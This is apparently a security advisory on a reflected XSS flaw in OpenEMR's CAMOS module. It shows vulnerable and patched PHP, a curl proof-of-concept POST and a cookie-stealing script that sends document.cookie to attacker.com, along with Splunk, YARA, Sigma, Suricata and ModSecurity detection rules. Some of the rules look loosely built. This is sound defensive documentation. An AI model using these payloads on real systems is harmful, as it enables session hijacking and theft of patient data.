CVE-2025-29772

Executive Summary

CVE-2025-29772 is a reflected cross-site scripting (XSS) vulnerability in OpenEMR, a widely used open-source electronic health records (EHR) and medical practice management application. The flaw resides in the new.php file within the CAMOS module. The POST parameter hidden_subcategory is reflected back to the user without proper sanitization or encoding, allowing an attacker to inject arbitrary JavaScript code. This can lead to session hijacking, data theft, or phishing attacks within the context of the authenticated user's session. The vulnerability is fixed in OpenEMR version 7.0.3.

Supply Chain & Package Security

OpenEMR is a PHP-based application distributed via GitHub and its official website. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the core application code. Users should verify the integrity of their OpenEMR installation by checking the source against the official repository and ensuring no unauthorized modifications exist.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed to trigger the XSS.
• User Interaction (UI): Required (R) – Victim must click a crafted link or submit a form.
• Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the healthcare context elevates the risk due to the sensitivity of patient data.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the CAMOS module's new.php file. The application accepts a POST parameter named hidden_subcategory and directly outputs its value into the HTML response without any sanitization, encoding, or validation.

Root Cause: Lack of output encoding. The developer likely intended to preserve the user's input for a hidden form field but failed to escape it for HTML context.

Attack Flow:

1. An attacker crafts a malicious URL or form submission that includes a payload in the hidden_subcategory parameter.
2. The victim (an authenticated OpenEMR user) is tricked into clicking the link or submitting the form.
3. The server processes the request and reflects the payload in the response.
4. The victim's browser executes the injected JavaScript.
5. The attacker can then steal session cookies, perform actions on behalf of the victim, or redirect to a phishing page.

Example Payload:

<script>alert(document.cookie)</script>

Vulnerable vs. Patched Code

Vulnerable Code (before 7.0.3):

// In new.php
$hidden_subcategory = $_POST['hidden_subcategory'];
echo "<input type='hidden' name='hidden_subcategory' value='$hidden_subcategory'>";

Patched Code (7.0.3):

// In new.php
$hidden_subcategory = htmlspecialchars($_POST['hidden_subcategory'], ENT_QUOTES, 'UTF-8');
echo "<input type='hidden' name='hidden_subcategory' value='$hidden_subcategory'>";

The fix uses htmlspecialchars() to encode special HTML characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable OpenEMR instance (version < 7.0.3).
• A web browser or tool like curl.

Exploitation Steps:

1. Identify the vulnerable endpoint: http://target/openemr/interface/modules/camos/new.php
2. Craft a malicious POST request:

   curl -X POST "http://target/openemr/interface/modules/camos/new.php" \
   -d "hidden_subcategory=<script>alert('XSS')</script>"
   

3. The response will contain the injected script, which will execute in the victim's browser.

Advanced Payload (Session Stealing):

<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Defensive)

Detection:

• Monitor web server logs for POST requests to new.php with suspicious hidden_subcategory values.
• Look for patterns like <script, onerror=, javascript: in the parameter.

Hunting Query (Splunk):

index=web sourcetype=access_combined
uri_path="/openemr/interface/modules/camos/new.php"
form_data=*hidden_subcategory*
| rex field=form_data "hidden_subcategory=(?<payload>.*)"
| search payload IN ("*<script*", "*onerror*", "*javascript*")

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /openemr/interface/modules/camos/new.php with hidden_subcategory containing HTML/JavaScript.
  • Outbound connections to unknown IPs/domains from the OpenEMR server.
• File IOCs:
  • Modified new.php file (if attacker gained write access).
  • Suspicious entries in web server access logs.
• Behavioral IOCs:
  • Unexpected JavaScript execution in the browser.
  • Unauthorized form submissions or data exfiltration.

Detection Engineering

YARA Rule

rule CVE_2025_29772_OpenEMR_XSS {
    meta:
        description = "Detects reflected XSS payload in OpenEMR new.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-29772"
    strings:
        $payload1 = /hidden_subcategory=.*<script/i
        $payload2 = /hidden_subcategory=.*onerror/i
        $payload3 = /hidden_subcategory=.*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS in OpenEMR new.php
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2025-29772
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/openemr/interface/modules/camos/new.php'
    keywords:
        - 'hidden_subcategory='
    filter:
        - 'hidden_subcategory=*<script*'
        - 'hidden_subcategory=*onerror*'
        - 'hidden_subcategory=*javascript:*'
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in hidden fields (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-29772 OpenEMR Reflected XSS Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/openemr/interface/modules/camos/new.php";
    http_uri;
    content:"hidden_subcategory=";
    http_client_body;
    pcre:"/hidden_subcategory=.*(<script|onerror|javascript:)/i";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade OpenEMR to version 7.0.3 or later.
2. If upgrade is not possible, apply a virtual patch using a WAF (e.g., ModSecurity) to block requests containing hidden_subcategory with HTML/JavaScript.

Long-term Measures:

• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Conduct regular code reviews focusing on input validation and output encoding.
• Use automated security scanning tools (e.g., OWASP ZAP) in the CI/CD pipeline.

WAF Rule Example (ModSecurity):

SecRule REQUEST_URI "/openemr/interface/modules/camos/new.php" \
    "chain,id:1001,deny,status:403,msg:'XSS Attempt Blocked'"
SecRule REQUEST_BODY "hidden_subcategory=.*(<script|onerror|javascript:)" \
    "t:urlDecodeUni"

Valters IT